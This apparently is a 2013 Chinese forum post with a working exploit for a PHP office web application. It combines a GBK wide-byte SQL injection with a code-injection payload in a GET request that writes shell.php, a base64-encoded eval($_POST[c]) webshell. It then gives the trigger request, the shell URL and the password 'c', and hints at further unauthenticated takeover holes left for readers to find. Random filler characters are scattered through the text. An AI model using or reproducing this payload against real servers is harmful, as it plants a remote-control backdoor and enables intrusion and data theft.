此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了." r- [9 W# Q9 [: n
7 @* O# Z) k9 i6 H" F8 v
2 r, ^4 W% V/ @# G& _
EXP：9 Q4 S* M$ \! d/ ~8 c P1 j; c
- f' C: G+ q2 f+ H- H- W第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}/ @; F1 i. T! u
; K3 u' H+ ]- ^1 l7 {第二步: [GET]http://site/general/email/index.php6 }: N9 d! ?8 E' {
- H; m/ r# G" c* D) N3 _) T" z* l
SHELL: http://site/general/email/shell.php 密码C
' \1 S B0 `" l& m5 X0 L$ p " J7 @8 a2 N5 z# M9 b
5 K- }5 m, J5 H) U/ S# C此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好: Q( n0 ~0 H L/ s* U# h
. }5 l2 [/ g# k2 g4 E! n" ]: s
有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~5 U5 E7 o/ ]2 U5 Y: z) z
" A P! p* j% G- c$ ^# p7 a! f
2 g* h( `( z% A |
发表于 2013-2-4 16:19:29
收藏
支持
反对